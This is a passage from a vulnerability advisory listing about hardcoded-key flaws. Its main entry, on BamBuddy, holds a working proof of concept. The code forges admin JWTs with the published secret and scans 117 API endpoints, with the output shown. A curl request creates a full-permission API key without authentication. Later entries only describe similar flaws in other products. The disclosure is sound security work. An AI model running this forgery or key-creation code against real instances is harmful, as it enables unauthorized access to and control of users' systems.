- /pending-uploads/1 (no_auth: 404, jwt: 404)
- /metrics (no_auth: 401, jwt: 401)
While this script only tests the GET endpoints, these vulnerabilities are not exclusive to GET endpoints. The GET endpoints were easiest to script since they generally don't require many parameters, but other methods still appear vulnerable. I manually tested POST /api/v1/api-keys/ and was able to create a new API key with all permissions without auth:
curl 'http://10.0.0.4:8000/api/v1/api-keys/' -X POST -H 'Content-Type: application/json' --data-raw '{"name":"new key","can_queue":true,"can_control_printer":true,"can_read_status":true}'
yields
{"id":7,"name":"new key","key_prefix":"bb_QW2su...","can_queue":true,"can_control_printer":true,"can_read_status":true,"printer_ids":null,"enabled":true,"last_used":null,"created_at":"2026-02-01T23:14:15","expires_at":null,"key":"bb_QW2suZVIHiUbadSyyAMrnmf0zFhDG5e9BSVBvb4ZN-w"}
Impact
BamBuddy is vulnerable to unauthorized access and control
Severity
9.8 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "bambuddy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.1.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-25505"
],
"database_specific": {
"cwe_ids": [
"CWE-306",
"CWE-321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-02T21:21:14Z",
"nvd_published_at": "2026-02-04T20:16:07Z",
"severity": "CRITICAL"
},
"details": "### Summary\n1. A hardcoded secret key used for signing JWTs is checked into source code\n2. ManyAPI routes do not check authentication\n\n### Details\nI am using the publicly available docker image at `ghcr.io/maziggy/bambuddy`\n#### 1. Hardcoded JWT Secret Key\nhttps://github.com/maziggy/bambuddy/blob/a9bb8ed8239602bf08a9914f85a09eeb2bf13d15/backend/app/core/auth.py#L28\n\n\u003cdetails\u003e\n\u003csummary\u003eCopying the Authorization token from a request via browser networking tools into JWT.io confirms the token is signed with this key\u003c/summary\u003e\n\n\u003cimg width=\"1591\" height=\"937\" alt=\"image\" src=\"https://github.com/user-attachments/assets/fd6e805a-9380-438f-a412-623660fa3f5a\" /\u003e\n\n\u003c/details\u003e\n\nAny attacker can:\n1. Forge valid JWT tokens for any user\n2. Bypass authentication entirely\n3. Gain full administrative access to any Bambuddy instance using the default key\n\n**Steps to Reproduce:**\n\n1. Run an instance of BamBuddy\n2. Create admin user\n3. Forge and use JWT:\n```python\nimport jwt\nimport requests\n\ntoken = jwt.encode({\"sub\": \"admin\", \"exp\": 9999999999}, \"bambuddy-secret-key-change-in-production\", algorithm=\"HS256\")\nresp = requests.get(\"http://10.0.0.4:8000/api/v1/system/info\", headers={\"Authorization\": f\"Bearer {token}\"})\n\nprint(resp.status_code) # 200\nprint(resp.text) # {\"app\":{\"version\":\"0.1.7b\",\"base_dir\":\"/app/data\",\"archive_dir\":\"/app/data/archive\"},\"database\": ...\n```\n\n#### 2. Most API Routes do not check Auth\nWhile investigating the JWT forgery, I noticed that requests without `Authorization` headers still returned information for many endpoints:\n```python\nresp = requests.get(\"http://10.0.0.4:8000/api/v1/system/info\", headers={}) # Empty headers\n\nprint(resp.status_code) # 200\nprint(resp.text) # {\"app\":{\"version\":\"0.1.7b\",\"base_dir\":\"/app/data\",\"archive_dir\":\"/app/data/archive\"},\"database\": ...\n```\n\n#### Full Script and Output\n\nNote: I do not have smart plugs or spoolman set up to verify actual behavior with those endpoints so they are excluded from this script.\n\n\u003cdetails\u003e\n\u003csummary\u003eScript to test GET endpoints with forged JWT and without any auth\u003c/summary\u003e\n\n```python3\n#!/usr/bin/env python3\n\"\"\"\nProof of Concept: JWT Forgery via Hardcoded Secret Key (VULN-001)\nFor security research purposes only.\n\nTests all GET endpoints to identify which are accessible without authentication.\n\"\"\"\n\nimport requests\nimport jwt\n\n# Hardcoded secret from backend/app/core/auth.py:28\nHARDCODED_SECRET = \"bambuddy-secret-key-change-in-production\"\nTARGET = \"http://10.0.0.4:8000\"\nAPI_PREFIX = \"/api/v1\"\n\n# All GET endpoints organized by router\nENDPOINTS = {\n \"system\": [\n \"/system/info\",\n ],\n \"auth\": [\n \"/auth/status\",\n \"/auth/me\",\n ],\n \"users\": [\n \"/users\",\n \"/users/1\",\n \"/users/1/items-count\",\n ],\n \"groups\": [\n \"/groups\",\n \"/groups/permissions\",\n \"/groups/1\",\n ],\n \"settings\": [\n \"/settings\",\n \"/settings/check-ffmpeg\",\n \"/settings/spoolman\",\n \"/settings/backup\",\n \"/settings/virtual-printer/models\",\n \"/settings/virtual-printer\",\n \"/settings/mqtt/status\",\n ],\n \"printers\": [\n \"/printers/\",\n \"/printers/usb-cameras\",\n \"/printers/1\",\n \"/printers/1/status\",\n \"/printers/1/current-print-user\",\n \"/printers/1/cover\",\n \"/printers/1/files\",\n \"/printers/1/storage\",\n \"/printers/1/logging\",\n \"/printers/1/slot-presets\",\n \"/printers/1/slot-presets/1/1\",\n \"/printers/1/print/objects\",\n \"/printers/1/runtime-debug\",\n \"/printers/1/camera/status\",\n \"/printers/1/camera/test\",\n \"/printers/1/camera/plate-detection/status\",\n \"/printers/1/camera/plate-detection/references\",\n \"/printers/1/kprofiles/\",\n \"/printers/1/kprofiles/notes\",\n ],\n \"archives\": [\n \"/archives/\",\n \"/archives/search\",\n \"/archives/compare\",\n \"/archives/analysis/failures\",\n \"/archives/stats\",\n \"/archives/tags\",\n \"/archives/1\",\n \"/archives/1/similar\",\n \"/archives/1/duplicates\",\n \"/archives/1/capabilities\",\n \"/archives/1/gcode\",\n \"/archives/1/plates\",\n \"/archives/1/filament-requirements\",\n \"/archives/1/project-page\",\n \"/archives/1/source\",\n ],\n \"filaments\": [\n \"/filaments/\",\n \"/filaments/1\",\n \"/filaments/by-type/pla\",\n ],\n \"cloud\": [\n \"/cloud/status\",\n \"/cloud/settings\",\n \"/cloud/settings/1\",\n \"/cloud/devices\",\n \"/cloud/firmware-updates\",\n \"/cloud/fields\",\n \"/cloud/fields/print\",\n ],\n \"queue\": [\n \"/queue/\",\n \"/queue/1\",\n ],\n \"notifications\": [\n \"/notifications/\",\n \"/notifications/logs\",\n \"/notifications/logs/stats\",\n \"/notifications/1\",\n ],\n \"notification_templates\": [\n \"/notification-templates\",\n \"/notification-templates/variables\",\n \"/notification-templates/1\",\n ],\n \"updates\": [\n \"/updates/version\",\n \"/updates/check\",\n \"/updates/status\",\n ],\n \"maintenance\": [\n \"/maintenance/types\",\n \"/maintenance/overview\",\n \"/maintenance/summary\",\n \"/maintenance/printers/1\",\n \"/maintenance/items/1/history\",\n ],\n \"external_links\": [\n \"/external-links/\",\n \"/external-links/1\",\n ],\n \"projects\": [\n \"/projects\",\n \"/projects/templates\",\n \"/projects/1\",\n \"/projects/1/archives\",\n \"/projects/1/queue\",\n \"/projects/1/bom\",\n \"/projects/1/timeline\",\n ],\n \"library\": [\n \"/library/folders\",\n \"/library/folders/by-archive/1\",\n \"/library/folders/by-project/1\",\n \"/library/files\",\n \"/library/stats\",\n \"/library/folders/1\",\n \"/library/files/1\",\n \"/library/files/1/plates\",\n \"/library/files/1/gcode\",\n \"/library/files/1/filament-requirements\",\n ],\n \"api_keys\": [\n \"/api-keys/\",\n \"/api-keys/1\",\n ],\n \"webhook\": [\n \"/webhook/printer/1/status\",\n \"/webhook/queue\",\n ],\n \"ams_history\": [\n \"/ams-history/1/1\",\n ],\n \"support\": [\n \"/support/debug-logging\",\n \"/support/logs\",\n ],\n \"discovery\": [\n \"/discovery/info\",\n \"/discovery/status\",\n \"/discovery/printers\",\n \"/discovery/scan/status\",\n ],\n \"pending_uploads\": [\n \"/pending-uploads/\",\n \"/pending-uploads/count\",\n \"/pending-uploads/1\",\n ],\n \"firmware\": [\n \"/firmware/updates\",\n \"/firmware/updates/1\",\n \"/firmware/latest\",\n ],\n \"github_backup\": [\n \"/github-backup/config\",\n \"/github-backup/status\",\n \"/github-backup/logs\",\n ],\n \"metrics\": [\n \"/metrics\",\n ],\n}\n\n\ndef forge_token():\n \"\"\"Forge a valid JWT token using the hardcoded secret.\"\"\"\n payload = {\"sub\": \"admin\", \"exp\": 9999999999}\n return jwt.encode(payload, HARDCODED_SECRET, algorithm=\"HS256\")\n\n\ndef test_endpoint(endpoint, headers):\n \"\"\"Test a single endpoint and return status.\"\"\"\n try:\n resp = requests.get(f\"{TARGET}{API_PREFIX}{endpoint}\", headers=headers, timeout=5)\n return resp.status_code, resp.text[:100] if resp.status_code == 200 else None\n except requests.RequestException as e:\n return \"ERROR\", str(e)[:50]\n\n\ndef main():\n token = forge_token()\n print(f\"[*] Forged JWT token:\\n {token}\\n\")\n\n # Test with no auth, then with forged JWT\n test_modes = [\n (\"NO AUTH\", {}),\n (\"FORGED JWT\", {\"Authorization\": f\"Bearer {token}\"}),\n ]\n\n results = {\"no_auth\": [], \"jwt_only\": [], \"both_fail\": []}\n\n print(f\"[*] Testing {sum(len(v) for v in ENDPOINTS.values())} endpoints against {TARGET}\\n\")\n print(\"=\" * 70)\n\n for category, endpoints in ENDPOINTS.items():\n print(f\"\\n[{category.upper()}]\")\n\n for endpoint in endpoints:\n no_auth_status, _ = test_endpoint(endpoint, {})\n jwt_status, preview = test_endpoint(endpoint, {\"Authorization\": f\"Bearer {token}\"})\n\n if no_auth_status == 200:\n results[\"no_auth\"].append(endpoint)\n print(f\" {endpoint}: NO AUTH REQUIRED\")\n elif jwt_status == 200:\n results[\"jwt_only\"].append(endpoint)\n print(f\" {endpoint}: JWT WORKS\")\n else:\n results[\"both_fail\"].append((endpoint, no_auth_status, jwt_status))\n print(f\" {endpoint}: {no_auth_status} / {jwt_status}\")\n\n # Summary\n print(\"\\n\" + \"=\" * 70)\n print(\"\\n[SUMMARY]\\n\")\n\n print(f\"Endpoints accessible WITHOUT authentication ({len(results[\u0027no_auth\u0027])}):\")\n for ep in results[\"no_auth\"]:\n print(f\" - {ep}\")\n\n print(f\"\\nEndpoints accessible with FORGED JWT only ({len(results[\u0027jwt_only\u0027])}):\")\n for ep in results[\"jwt_only\"]:\n print(f\" - {ep}\")\n\n print(f\"\\nEndpoints that rejected both ({len(results[\u0027both_fail\u0027])}):\")\n for ep, no_auth, jwt_auth in results[\"both_fail\"]:\n print(f\" - {ep} (no_auth: {no_auth}, jwt: {jwt_auth})\")\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003eScript output\u003c/summary\u003e\n\n```\n[*] Forged JWT token:\n eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJzcGVlbmFoIiwiZXhwIjo5OTk5OTk5OTk5fQ.xeUmpf4PkhI7jHHGBPLWQEQQ4GTiiUOENeQkPpvNMnA\n\n[*] Testing 117 endpoints against http://10.0.0.4:8000\n\n======================================================================\n\n[SYSTEM]\n /system/info: NO AUTH REQUIRED\n\n[AUTH]\n /auth/status: NO AUTH REQUIRED\n /auth/me: JWT WORKS\n\n[USERS]\n /users: JWT WORKS\n /users/1: JWT WORKS\n /users/1/items-count: JWT WORKS\n\n[GROUPS]\n /groups: JWT WORKS\n /groups/permissions: JWT WORKS\n /groups/1: JWT WORKS\n\n[SETTINGS]\n /settings: NO AUTH REQUIRED\n /settings/check-ffmpeg: NO AUTH REQUIRED\n /settings/spoolman: NO AUTH REQUIRED\n /settings/backup: NO AUTH REQUIRED\n /settings/virtual-printer/models: NO AUTH REQUIRED\n /settings/virtual-printer: NO AUTH REQUIRED\n /settings/mqtt/status: NO AUTH REQUIRED\n\n[PRINTERS]\n /printers/: JWT WORKS\n /printers/usb-cameras: JWT WORKS\n /printers/1: JWT WORKS\n /printers/1/status: JWT WORKS\n /printers/1/current-print-user: JWT WORKS\n /printers/1/cover: JWT WORKS\n /printers/1/files: JWT WORKS\n /printers/1/storage: JWT WORKS\n /printers/1/logging: JWT WORKS\n /printers/1/slot-presets: JWT WORKS\n /printers/1/slot-presets/1/1: JWT WORKS\n /printers/1/print/objects: JWT WORKS\n /printers/1/runtime-debug: JWT WORKS\n /printers/1/camera/status: NO AUTH REQUIRED\n /printers/1/camera/test: ERROR / ERROR\n /printers/1/camera/plate-detection/status: NO AUTH REQUIRED\n /printers/1/camera/plate-detection/references: NO AUTH REQUIRED\n /printers/1/kprofiles/: ERROR / ERROR\n /printers/1/kprofiles/notes: NO AUTH REQUIRED\n\n[ARCHIVES]\n /archives/: NO AUTH REQUIRED\n /archives/search: 422 / 422\n /archives/compare: 422 / 422\n /archives/analysis/failures: NO AUTH REQUIRED\n /archives/stats: NO AUTH REQUIRED\n /archives/tags: NO AUTH REQUIRED\n /archives/1: NO AUTH REQUIRED\n /archives/1/similar: NO AUTH REQUIRED\n /archives/1/duplicates: NO AUTH REQUIRED\n /archives/1/capabilities: NO AUTH REQUIRED\n /archives/1/gcode: NO AUTH REQUIRED\n /archives/1/plates: NO AUTH REQUIRED\n /archives/1/filament-requirements: NO AUTH REQUIRED\n /archives/1/project-page: NO AUTH REQUIRED\n /archives/1/source: 404 / 404\n\n[FILAMENTS]\n /filaments/: NO AUTH REQUIRED\n /filaments/1: NO AUTH REQUIRED\n /filaments/by-type/pla: NO AUTH REQUIRED\n\n[CLOUD]\n /cloud/status: NO AUTH REQUIRED\n /cloud/settings: 401 / 401\n /cloud/settings/1: 401 / 401\n /cloud/devices: 401 / 401\n /cloud/firmware-updates: 401 / 401\n /cloud/fields: NO AUTH REQUIRED\n /cloud/fields/print: NO AUTH REQUIRED\n\n[QUEUE]\n /queue/: NO AUTH REQUIRED\n /queue/1: 404 / 404\n\n[NOTIFICATIONS]\n /notifications/: NO AUTH REQUIRED\n /notifications/logs: NO AUTH REQUIRED\n /notifications/logs/stats: NO AUTH REQUIRED\n /notifications/1: 404 / 404\n\n[NOTIFICATION_TEMPLATES]\n /notification-templates: NO AUTH REQUIRED\n /notification-templates/variables: NO AUTH REQUIRED\n /notification-templates/1: NO AUTH REQUIRED\n\n[UPDATES]\n /updates/version: NO AUTH REQUIRED\n /updates/check: NO AUTH REQUIRED\n /updates/status: NO AUTH REQUIRED\n\n[MAINTENANCE]\n /maintenance/types: NO AUTH REQUIRED\n /maintenance/overview: NO AUTH REQUIRED\n /maintenance/summary: NO AUTH REQUIRED\n /maintenance/printers/1: NO AUTH REQUIRED\n /maintenance/items/1/history: NO AUTH REQUIRED\n\n[EXTERNAL_LINKS]\n /external-links/: NO AUTH REQUIRED\n /external-links/1: 404 / 404\n\n[PROJECTS]\n /projects: NO AUTH REQUIRED\n /projects/templates: NO AUTH REQUIRED\n /projects/1: NO AUTH REQUIRED\n /projects/1/archives: NO AUTH REQUIRED\n /projects/1/queue: NO AUTH REQUIRED\n /projects/1/bom: NO AUTH REQUIRED\n /projects/1/timeline: NO AUTH REQUIRED\n\n[LIBRARY]\n /library/folders: NO AUTH REQUIRED\n /library/folders/by-archive/1: NO AUTH REQUIRED\n /library/folders/by-project/1: NO AUTH REQUIRED\n /library/files: NO AUTH REQUIRED\n /library/stats: NO AUTH REQUIRED\n /library/folders/1: NO AUTH REQUIRED\n /library/files/1: 404 / 404\n /library/files/1/plates: 404 / 404\n /library/files/1/gcode: 404 / 404\n /library/files/1/filament-requirements: 404 / 404\n\n[API_KEYS]\n /api-keys/: NO AUTH REQUIRED\n /api-keys/1: NO AUTH REQUIRED\n\n[WEBHOOK]\n /webhook/printer/1/status: 401 / 401\n /webhook/queue: 401 / 401\n\n[AMS_HISTORY]\n /ams-history/1/1: NO AUTH REQUIRED\n\n[SUPPORT]\n /support/debug-logging: NO AUTH REQUIRED\n /support/logs: NO AUTH REQUIRED\n\n[DISCOVERY]\n /discovery/info: NO AUTH REQUIRED\n /discovery/status: NO AUTH REQUIRED\n /discovery/printers: NO AUTH REQUIRED\n /discovery/scan/status: NO AUTH REQUIRED\n\n[PENDING_UPLOADS]\n /pending-uploads/: NO AUTH REQUIRED\n /pending-uploads/count: NO AUTH REQUIRED\n /pending-uploads/1: 404 / 404\n\n[FIRMWARE]\n /firmware/updates: NO AUTH REQUIRED\n /firmware/updates/1: NO AUTH REQUIRED\n /firmware/latest: NO AUTH REQUIRED\n\n[GITHUB_BACKUP]\n /github-backup/config: NO AUTH REQUIRED\n /github-backup/status: NO AUTH REQUIRED\n /github-backup/logs: NO AUTH REQUIRED\n\n[METRICS]\n /metrics: 401 / 401\n\n======================================================================\n\n[SUMMARY]\n\nEndpoints accessible WITHOUT authentication (77):\n - /system/info\n - /auth/status\n - /settings\n - /settings/check-ffmpeg\n - /settings/spoolman\n - /settings/backup\n - /settings/virtual-printer/models\n - /settings/virtual-printer\n - /settings/mqtt/status\n - /printers/1/camera/status\n - /printers/1/camera/plate-detection/status\n - /printers/1/camera/plate-detection/references\n - /printers/1/kprofiles/notes\n - /archives/\n - /archives/analysis/failures\n - /archives/stats\n - /archives/tags\n - /archives/1\n - /archives/1/similar\n - /archives/1/duplicates\n - /archives/1/capabilities\n - /archives/1/gcode\n - /archives/1/plates\n - /archives/1/filament-requirements\n - /archives/1/project-page\n - /filaments/\n - /filaments/1\n - /filaments/by-type/pla\n - /cloud/status\n - /cloud/fields\n - /cloud/fields/print\n - /queue/\n - /notifications/\n - /notifications/logs\n - /notifications/logs/stats\n - /notification-templates\n - /notification-templates/variables\n - /notification-templates/1\n - /updates/version\n - /updates/check\n - /updates/status\n - /maintenance/types\n - /maintenance/overview\n - /maintenance/summary\n - /maintenance/printers/1\n - /maintenance/items/1/history\n - /external-links/\n - /projects\n - /projects/templates\n - /projects/1\n - /projects/1/archives\n - /projects/1/queue\n - /projects/1/bom\n - /projects/1/timeline\n - /library/folders\n - /library/folders/by-archive/1\n - /library/folders/by-project/1\n - /library/files\n - /library/stats\n - /library/folders/1\n - /api-keys/\n - /api-keys/1\n - /ams-history/1/1\n - /support/debug-logging\n - /support/logs\n - /discovery/info\n - /discovery/status\n - /discovery/printers\n - /discovery/scan/status\n - /pending-uploads/\n - /pending-uploads/count\n - /firmware/updates\n - /firmware/updates/1\n - /firmware/latest\n - /github-backup/config\n - /github-backup/status\n - /github-backup/logs\n\nEndpoints accessible with FORGED JWT only (20):\n - /auth/me\n - /users\n - /users/1\n - /users/1/items-count\n - /groups\n - /groups/permissions\n - /groups/1\n - /printers/\n - /printers/usb-cameras\n - /printers/1\n - /printers/1/status\n - /printers/1/current-print-user\n - /printers/1/cover\n - /printers/1/files\n - /printers/1/storage\n - /printers/1/logging\n - /printers/1/slot-presets\n - /printers/1/slot-presets/1/1\n - /printers/1/print/objects\n - /printers/1/runtime-debug\n\nEndpoints that rejected both (20):\n - /printers/1/camera/test (no_auth: ERROR, jwt: ERROR)\n - /printers/1/kprofiles/ (no_auth: ERROR, jwt: ERROR)\n - /archives/search (no_auth: 422, jwt: 422)\n - /archives/compare (no_auth: 422, jwt: 422)\n - /archives/1/source (no_auth: 404, jwt: 404)\n - /cloud/settings (no_auth: 401, jwt: 401)\n - /cloud/settings/1 (no_auth: 401, jwt: 401)\n - /cloud/devices (no_auth: 401, jwt: 401)\n - /cloud/firmware-updates (no_auth: 401, jwt: 401)\n - /queue/1 (no_auth: 404, jwt: 404)\n - /notifications/1 (no_auth: 404, jwt: 404)\n - /external-links/1 (no_auth: 404, jwt: 404)\n - /library/files/1 (no_auth: 404, jwt: 404)\n - /library/files/1/plates (no_auth: 404, jwt: 404)\n - /library/files/1/gcode (no_auth: 404, jwt: 404)\n - /library/files/1/filament-requirements (no_auth: 404, jwt: 404)\n - /webhook/printer/1/status (no_auth: 401, jwt: 401)\n - /webhook/queue (no_auth: 401, jwt: 401)\n - /pending-uploads/1 (no_auth: 404, jwt: 404)\n - /metrics (no_auth: 401, jwt: 401)\n```\n\n\u003c/details\u003e\n\nWhile this script only tests the GET endpoints, these vulnerabilities are not exclusive to GET endpoints. The GET endpoints were easiest to script since they generally don\u0027t require many parameters, but other methods still appear vulnerable. I manually tested `POST /api/v1/api-keys/` and was able to create a new API key with all permissions without auth:\n```bash\ncurl \u0027http://10.0.0.4:8000/api/v1/api-keys/\u0027 -X POST -H \u0027Content-Type: application/json\u0027 --data-raw \u0027{\"name\":\"new key\",\"can_queue\":true,\"can_control_printer\":true,\"can_read_status\":true}\u0027\n```\nyields\n```json\n{\"id\":7,\"name\":\"new key\",\"key_prefix\":\"bb_QW2su...\",\"can_queue\":true,\"can_control_printer\":true,\"can_read_status\":true,\"printer_ids\":null,\"enabled\":true,\"last_used\":null,\"created_at\":\"2026-02-01T23:14:15\",\"expires_at\":null,\"key\":\"bb_QW2suZVIHiUbadSyyAMrnmf0zFhDG5e9BSVBvb4ZN-w\"}\n```\n\n### Impact\nBamBuddy is vulnerable to unauthorized access and control",
"id": "GHSA-gc24-px2r-5qmf",
"modified": "2026-02-06T21:38:03Z",
"published": "2026-02-02T21:21:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/maziggy/bambuddy/security/advisories/GHSA-gc24-px2r-5qmf"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25505"
},
{
"type": "WEB",
"url": "https://github.com/maziggy/bambuddy/pull/225"
},
{
"type": "WEB",
"url": "https://github.com/maziggy/bambuddy/commit/a82f9278d2d587b7042a0858aab79fd8b6e3add9"
},
{
"type": "WEB",
"url": "https://github.com/maziggy/bambuddy/commit/c31f2968889c855f1ffacb700c2c9970deb2a6fb"
},
{
"type": "PACKAGE",
"url": "https://github.com/maziggy/bambuddy"
},
{
"type": "WEB",
"url": "https://github.com/maziggy/bambuddy/blob/a9bb8ed8239602bf08a9914f85a09eeb2bf13d15/backend/app/core/auth.py#L28"
},
{
"type": "WEB",
"url": "https://github.com/maziggy/bambuddy/blob/main/CHANGELOG.md"
},
{
"type": "WEB",
"url": "https://github.com/maziggy/bambuddy/releases/tag/v0.1.7"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Bambuddy Uses Hardcoded Secret Key + Many API Endpoints do not Require Authentication"
}
GHSA-GFMQ-99P2-3JWP
Vulnerability from github – Published: 2024-05-14 18:30 – Updated: 2024-05-14 18:30
VLAI
Details
A vulnerability has been identified in SIMATIC RTLS Locating Manager (6GT2780-0DA00) (All versions < V3.0.1.1), SIMATIC RTLS Locating Manager (6GT2780-0DA10) (All versions < V3.0.1.1), SIMATIC RTLS Locating Manager (6GT2780-0DA20) (All versions < V3.0.1.1), SIMATIC RTLS Locating Manager (6GT2780-0DA30) (All versions < V3.0.1.1), SIMATIC RTLS Locating Manager (6GT2780-1EA10) (All versions < V3.0.1.1), SIMATIC RTLS Locating Manager (6GT2780-1EA20) (All versions < V3.0.1.1), SIMATIC RTLS Locating Manager (6GT2780-1EA30) (All versions < V3.0.1.1). The affected systems use symmetric cryptography with a hard-coded key to protect the communication between client and server. This could allow an unauthenticated remote attacker to compromise confidentiality and integrity of the communication and, subsequently, availability of the system. A successful exploit requires the attacker to gain knowledge of the hard-coded key and to be able to intercept the communication between client and server on the network.
Severity
10.0 (Critical)
{
"affected": [],
"aliases": [
"CVE-2024-30207"
],
"database_specific": {
"cwe_ids": [
"CWE-321"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-14T16:16:47Z",
"severity": "CRITICAL"
},
"details": "A vulnerability has been identified in SIMATIC RTLS Locating Manager (6GT2780-0DA00) (All versions \u003c V3.0.1.1), SIMATIC RTLS Locating Manager (6GT2780-0DA10) (All versions \u003c V3.0.1.1), SIMATIC RTLS Locating Manager (6GT2780-0DA20) (All versions \u003c V3.0.1.1), SIMATIC RTLS Locating Manager (6GT2780-0DA30) (All versions \u003c V3.0.1.1), SIMATIC RTLS Locating Manager (6GT2780-1EA10) (All versions \u003c V3.0.1.1), SIMATIC RTLS Locating Manager (6GT2780-1EA20) (All versions \u003c V3.0.1.1), SIMATIC RTLS Locating Manager (6GT2780-1EA30) (All versions \u003c V3.0.1.1). The affected systems use symmetric cryptography with a hard-coded key to protect the communication between client and server. This could allow an unauthenticated remote attacker to compromise confidentiality and integrity of the communication and, subsequently, availability of the system.\nA successful exploit requires the attacker to gain knowledge of the hard-coded key and to be able to intercept the communication between client and server on the network.",
"id": "GHSA-gfmq-99p2-3jwp",
"modified": "2024-05-14T18:30:59Z",
"published": "2024-05-14T18:30:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30207"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-093430.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GG86-H3JM-9M46
Vulnerability from github – Published: 2026-06-05 12:31 – Updated: 2026-06-05 15:32
VLAI
Details
The linqi application contains hardcoded cryptographic keys. Additionally, the application uses a weak algorithm with a limited ASCII charset to dynamically generate Initialization Vectors (IVs) for AES/CBC encryption, making known-plaintext attacks feasible. An attacker with local access can leverage these vulnerabilities to decrypt sensitive obfuscated strings, including ConnectionString values containing database credentials from appsettings.json.
Severity
{
"affected": [],
"aliases": [
"CVE-2026-11347"
],
"database_specific": {
"cwe_ids": [
"CWE-321"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-05T11:16:34Z",
"severity": "HIGH"
},
"details": "The linqi application contains hardcoded cryptographic keys. Additionally, the application uses a weak algorithm with a limited ASCII charset to dynamically generate Initialization Vectors (IVs) for AES/CBC encryption, making known-plaintext attacks feasible. An attacker with local access can leverage these vulnerabilities to decrypt sensitive obfuscated strings, including ConnectionString values containing database credentials from appsettings.json.",
"id": "GHSA-gg86-h3jm-9m46",
"modified": "2026-06-05T15:32:20Z",
"published": "2026-06-05T12:31:45Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11347"
},
{
"type": "WEB",
"url": "https://linqi.help/en/reference/security/security-advisories/#security-advisory-hardcoded-cryptographic-keys-and-weak-iv-generation-in-linqi"
},
{
"type": "WEB",
"url": "https://linqi.help/en/reference/security/security-advisories/#security-advisory-hardcoded-cryptographic-keys-and-weak-iv-generation-in-the-linqi-application"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GPG3-V7VJ-4V8W
Vulnerability from github – Published: 2024-03-13 03:31 – Updated: 2024-03-13 03:31
VLAI
Details
Intumit SmartRobot uses a fixed encryption key for authentication. Remote attackers can use this key to encrypt a string composed of the user's name and timestamp to generate an authentication code. With this authentication code, they can obtain administrator privileges and subsequently execute arbitrary code on the remote server using built-in system functionality.
Severity
9.8 (Critical)
{
"affected": [],
"aliases": [
"CVE-2024-2413"
],
"database_specific": {
"cwe_ids": [
"CWE-321"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-03-13T03:15:06Z",
"severity": "CRITICAL"
},
"details": "Intumit SmartRobot uses a fixed encryption key for authentication. Remote attackers can use this key to encrypt a string composed of the user\u0027s name and timestamp to generate an authentication code. With this authentication code, they can obtain administrator privileges and subsequently execute arbitrary code on the remote server using built-in system functionality.",
"id": "GHSA-gpg3-v7vj-4v8w",
"modified": "2024-03-13T03:31:06Z",
"published": "2024-03-13T03:31:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-2413"
},
{
"type": "WEB",
"url": "https://www.twcert.org.tw/tw/cp-132-7697-ecf10-1.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GRQV-C4P4-JP68
Vulnerability from github – Published: 2025-09-16 15:32 – Updated: 2025-09-16 15:32
VLAI
Details
Out-of-support Control-M/Agent versions 9.0.18 to 9.0.20 (and potentially earlier unsupported versions) that are configured to use the non-default Blowfish cryptography algorithm use a hardcoded key. An attacker with access to network traffic and to this key could decrypt network traffic between the Control-M/Agent and Server.
Severity
{
"affected": [],
"aliases": [
"CVE-2025-55112"
],
"database_specific": {
"cwe_ids": [
"CWE-321"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-16T13:16:06Z",
"severity": "HIGH"
},
"details": "Out-of-support Control-M/Agent versions 9.0.18 to 9.0.20 (and potentially earlier unsupported versions) that are configured to use the non-default Blowfish cryptography algorithm use a hardcoded key. An attacker with access to network traffic and to this key could decrypt network traffic between the Control-M/Agent and Server.",
"id": "GHSA-grqv-c4p4-jp68",
"modified": "2025-09-16T15:32:36Z",
"published": "2025-09-16T15:32:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-55112"
},
{
"type": "WEB",
"url": "https://bmcapps.my.site.com/casemgmt/sc_KnowledgeArticle?sfdcid=000441966"
},
{
"type": "WEB",
"url": "https://bmcapps.my.site.com/casemgmt/sc_KnowledgeArticle?sfdcid=000442099"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
